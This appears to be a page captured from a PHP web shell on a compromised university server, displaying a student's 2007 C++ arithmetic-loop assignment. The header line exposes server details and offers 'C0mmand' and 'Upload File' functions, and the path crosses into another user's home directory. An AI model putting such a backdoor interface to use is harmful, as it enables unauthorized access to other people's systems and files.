Server IP : 172.16.15.8 / Your IP : 3.147.48.105 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/amjamgochian/../bafreeman/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File name: mathloop.cpp // Author: Benjamin Freeman // Instructor: Dr. John Wang // Due date: Wed., Sept. 19, 2007 // Compilation: g++ mathloop.cpp -o mathloop.out // Execution: ./mathloop.out // // Goal: This program will let the user input two positive numbers // and output their operations for addition, substraction, // multiplication, and division. #include <iostream> #include <iomanip> using namespace std; int main() { float a, b, add, sub, mult, div; cout << fixed << showpoint << setprecision(1); string star_line = "********************************"; cout << star_line << endl; cout << "Input first number ( -1 to quit): "; cin >> a; while ( a > 0) { cout << "Input second number: "; cin >> b; add = a + b; sub = a - b; mult = a * b; div = a / b; cout << '\n'; cout << "The results are:" << "\n\n"; cout << '\t' << a << " + " << b << " = " << add << "\n"; cout << '\t' << a << " - " << b << " = " << sub << "\n"; cout << '\t' << a << " * " << b << " = " << mult << "\n"; cout << '\t' << a << " / " << b << " = " << div << "\n\n"; cout << star_line << endl; cout << "Input first number ( -1 to quit): "; cin >> a; } return 0; }